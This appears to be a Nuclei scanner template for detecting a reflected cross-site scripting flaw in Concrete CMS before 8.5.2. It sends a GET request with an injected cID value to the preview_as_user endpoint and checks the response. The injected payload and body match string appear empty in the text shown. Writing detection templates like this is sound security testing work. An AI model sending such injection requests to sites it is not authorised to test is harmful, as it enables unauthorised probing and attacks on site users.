id: concrete-xss info: name: Concrete CMS <8.5.2 - Cross-Site Scripting author: shifacyclewla,hackergautam,djoevanka severity: high description: Concrete CMS before 8.5.2 contains a cross-site scripting vulnerability in preview_as_user function using cID parameter. reference: - https://hackerone.com/reports/643442 - https://github.com/concrete5/concrete5/pull/7999 - https://twitter.com/JacksonHHax/status/1389222207805661187 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 1 tags: hackerone,concrete,xss,cms,unauth,intrusive http: - method: GET path: - '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID=">' matchers-condition: and matchers: - type: word part: body words: - '' - type: word part: header words: - "text/html" - "CONCRETE5" condition: and - type: status status: - 200 # digest: 4a0a00473045022100af3745096317cdf92cfec3fc3dc306ed60b672ab49ef44bc832d04895447186f02202338d041ab7aa494fffde675e33a7652982e400af5bccf1eec9f706d67bcf031:922c64590222798bb761d5b6d8e72950